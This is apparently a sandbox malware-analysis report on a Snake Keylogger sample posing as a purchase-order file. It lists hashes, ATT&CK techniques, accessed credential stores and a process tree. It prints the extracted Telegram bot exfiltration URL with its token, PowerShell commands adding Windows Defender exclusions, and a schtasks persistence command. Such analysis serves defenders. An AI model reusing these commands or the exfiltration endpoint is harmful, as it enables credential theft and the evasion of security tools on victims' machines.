snakekeylogger | ea08961190b8399e21cfb503fcbb3caee0a5ab92294311bda03b7e511ece876b

Analysis

max time kernel
148s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
10/09/2024, 18:33

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General

Target

PO_20248099-1 12,300PCS.exe
Size

523KB
MD5

5db9f3f1609f4cd4df6f627977d09fd7
SHA1

90bf0d85af20f8b712ea7e1fd9724e1ecb16589b
SHA256

ea08961190b8399e21cfb503fcbb3caee0a5ab92294311bda03b7e511ece876b
SHA512

03d708bf0d82863b667a3f91e284262ba58286580ad7214e0ec1008aba1760b21f3f518ffc7dc049887b2d099ecc0e92fc4a639f8811317fc535eae4c43659ef
SSDEEP

12288:FlEEFet43oFyro4IZ/kHT7R6GJ9i/LH+F+KawP:Fnot43oFyoJZ/kHT7R6gz+Ka

Score

10^/10

snakekeylogger collection credential_access discovery execution keylogger spyware stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7196633070:AAEaQuZOF5M-L_385uI9rwN0ik3yySrTapE/sendMessage?chat_id=1343335992

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/2852-43-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4984	powershell.exe
2552	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	PO_20248099-1 12,300PCS.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PO_20248099-1 12,300PCS.exe
Key opened	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PO_20248099-1 12,300PCS.exe
Key opened	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PO_20248099-1 12,300PCS.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3140 set thread context of 2852	3140	PO_20248099-1 12,300PCS.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PO_20248099-1 12,300PCS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PO_20248099-1 12,300PCS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1920	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3140	PO_20248099-1 12,300PCS.exe
4984	powershell.exe
2552	powershell.exe
3140	PO_20248099-1 12,300PCS.exe
4984	powershell.exe
2852	PO_20248099-1 12,300PCS.exe
2552	powershell.exe
2852	PO_20248099-1 12,300PCS.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3140	PO_20248099-1 12,300PCS.exe
Token: SeDebugPrivilege	4984	powershell.exe
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	2852	PO_20248099-1 12,300PCS.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 3140 wrote to memory of 4984	3140	PO_20248099-1 12,300PCS.exe	87
PID 3140 wrote to memory of 4984	3140	PO_20248099-1 12,300PCS.exe	87
PID 3140 wrote to memory of 4984	3140	PO_20248099-1 12,300PCS.exe	87
PID 3140 wrote to memory of 2552	3140	PO_20248099-1 12,300PCS.exe	89
PID 3140 wrote to memory of 2552	3140	PO_20248099-1 12,300PCS.exe	89
PID 3140 wrote to memory of 2552	3140	PO_20248099-1 12,300PCS.exe	89
PID 3140 wrote to memory of 1920	3140	PO_20248099-1 12,300PCS.exe	91
PID 3140 wrote to memory of 1920	3140	PO_20248099-1 12,300PCS.exe	91
PID 3140 wrote to memory of 1920	3140	PO_20248099-1 12,300PCS.exe	91
PID 3140 wrote to memory of 2852	3140	PO_20248099-1 12,300PCS.exe	93
PID 3140 wrote to memory of 2852	3140	PO_20248099-1 12,300PCS.exe	93
PID 3140 wrote to memory of 2852	3140	PO_20248099-1 12,300PCS.exe	93
PID 3140 wrote to memory of 2852	3140	PO_20248099-1 12,300PCS.exe	93
PID 3140 wrote to memory of 2852	3140	PO_20248099-1 12,300PCS.exe	93
PID 3140 wrote to memory of 2852	3140	PO_20248099-1 12,300PCS.exe	93
PID 3140 wrote to memory of 2852	3140	PO_20248099-1 12,300PCS.exe	93
PID 3140 wrote to memory of 2852	3140	PO_20248099-1 12,300PCS.exe	93

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PO_20248099-1 12,300PCS.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PO_20248099-1 12,300PCS.exe

C:\Users\Admin\AppData\Local\Temp\PO_20248099-1 12,300PCS.exe
"C:\Users\Admin\AppData\Local\Temp\PO_20248099-1 12,300PCS.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3140
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\PO_20248099-1 12,300PCS.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4984
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\UIYZnHxR.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2552
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UIYZnHxR" /XML "C:\Users\Admin\AppData\Local\Temp\tmpE32C.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:1920
- C:\Users\Admin\AppData\Local\Temp\PO_20248099-1 12,300PCS.exe
  "C:\Users\Admin\AppData\Local\Temp\PO_20248099-1 12,300PCS.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:2852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
d71efd39fa120c685c0b6a897a31ae82

SHA1
eb65b39574b19ccb7d26a18dd46beb04883d51cc

SHA256
b51d561b2e94c0a373d7243544691f5f1ef5b21910b3ad6521684a04adff6f62

SHA512
854d05edefc20c647d6660d134d3229f1223cbc26ae2a6c5367f964eb3d2886a40c731262e1defa4d20e77df107f78d0138ac35f8a0df33fc87ccf76678667b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wh4uqocw.gmw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpE32C.tmp

Filesize
1KB

MD5
7392c30aaa74d8fc60a2b82c8cf41d77

SHA1
5c23e1e5ab60685f3be1fc39346a964afd392d45

SHA256
5299cf44e96f820505d56e1128f817b0df906d8882565f35d96f6588620aadf2

SHA512
a32ea6b3a6d3abb1374ec67ffc0b8037d9bf2d4d9cf79280eb7c590e1083b235f5f64a25abef5ed1eaddebf51513c2e96b911ebf5981d35fd8b6bacbde685581

Download Submit
memory/2552-75-0x0000000007710000-0x0000000007D8A000-memory.dmp

Filesize
6.5MB

Download
memory/2552-27-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/2552-73-0x0000000006D30000-0x0000000006D4E000-memory.dmp

Filesize
120KB

Download
memory/2552-52-0x0000000006D50000-0x0000000006D82000-memory.dmp

Filesize
200KB

Download
memory/2552-76-0x00000000070D0000-0x00000000070EA000-memory.dmp

Filesize
104KB

Download
memory/2552-83-0x00000000073F0000-0x00000000073F8000-memory.dmp

Filesize
32KB

Download
memory/2552-53-0x00000000716B0000-0x00000000716FC000-memory.dmp

Filesize
304KB

Download
memory/2552-77-0x0000000007140000-0x000000000714A000-memory.dmp

Filesize
40KB

Download
memory/2552-82-0x0000000007410000-0x000000000742A000-memory.dmp

Filesize
104KB

Download
memory/2552-22-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/2552-21-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/2552-89-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/2852-92-0x0000000006E40000-0x0000000007002000-memory.dmp

Filesize
1.8MB

Download
memory/2852-43-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2852-91-0x00000000016E0000-0x0000000001730000-memory.dmp

Filesize
320KB

Download
memory/3140-3-0x00000000052E0000-0x0000000005372000-memory.dmp

Filesize
584KB

Download
memory/3140-49-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/3140-4-0x00000000052A0000-0x00000000052AA000-memory.dmp

Filesize
40KB

Download
memory/3140-11-0x000000000A320000-0x000000000A3BC000-memory.dmp

Filesize
624KB

Download
memory/3140-10-0x0000000006780000-0x00000000067E8000-memory.dmp

Filesize
416KB

Download
memory/3140-2-0x00000000057B0000-0x0000000005D54000-memory.dmp

Filesize
5.6MB

Download
memory/3140-0-0x000000007503E000-0x000000007503F000-memory.dmp

Filesize
4KB

Download
memory/3140-5-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/3140-1-0x0000000000800000-0x0000000000888000-memory.dmp

Filesize
544KB

Download
memory/3140-9-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/3140-8-0x000000007503E000-0x000000007503F000-memory.dmp

Filesize
4KB

Download
memory/3140-7-0x0000000005620000-0x0000000005630000-memory.dmp

Filesize
64KB

Download
memory/3140-6-0x0000000006460000-0x00000000064DE000-memory.dmp

Filesize
504KB

Download
memory/4984-23-0x0000000005300000-0x0000000005322000-memory.dmp

Filesize
136KB

Download
memory/4984-54-0x00000000716B0000-0x00000000716FC000-memory.dmp

Filesize
304KB

Download
memory/4984-74-0x0000000006BB0000-0x0000000006C53000-memory.dmp

Filesize
652KB

Download
memory/4984-51-0x00000000060F0000-0x000000000613C000-memory.dmp

Filesize
304KB

Download
memory/4984-42-0x0000000005580000-0x00000000058D4000-memory.dmp

Filesize
3.3MB

Download
memory/4984-25-0x0000000005510000-0x0000000005576000-memory.dmp

Filesize
408KB

Download
memory/4984-78-0x0000000007130000-0x00000000071C6000-memory.dmp

Filesize
600KB

Download
memory/4984-79-0x00000000070B0000-0x00000000070C1000-memory.dmp

Filesize
68KB

Download
memory/4984-80-0x00000000070E0000-0x00000000070EE000-memory.dmp

Filesize
56KB

Download
memory/4984-81-0x00000000070F0000-0x0000000007104000-memory.dmp

Filesize
80KB

Download
memory/4984-50-0x0000000005B90000-0x0000000005BAE000-memory.dmp

Filesize
120KB

Download
memory/4984-24-0x00000000054A0000-0x0000000005506000-memory.dmp

Filesize
408KB

Download
memory/4984-90-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4984-20-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4984-18-0x0000000004CD0000-0x00000000052F8000-memory.dmp

Filesize
6.2MB

Download
memory/4984-19-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4984-17-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4984-16-0x00000000045B0000-0x00000000045E6000-memory.dmp

Filesize
216KB

Download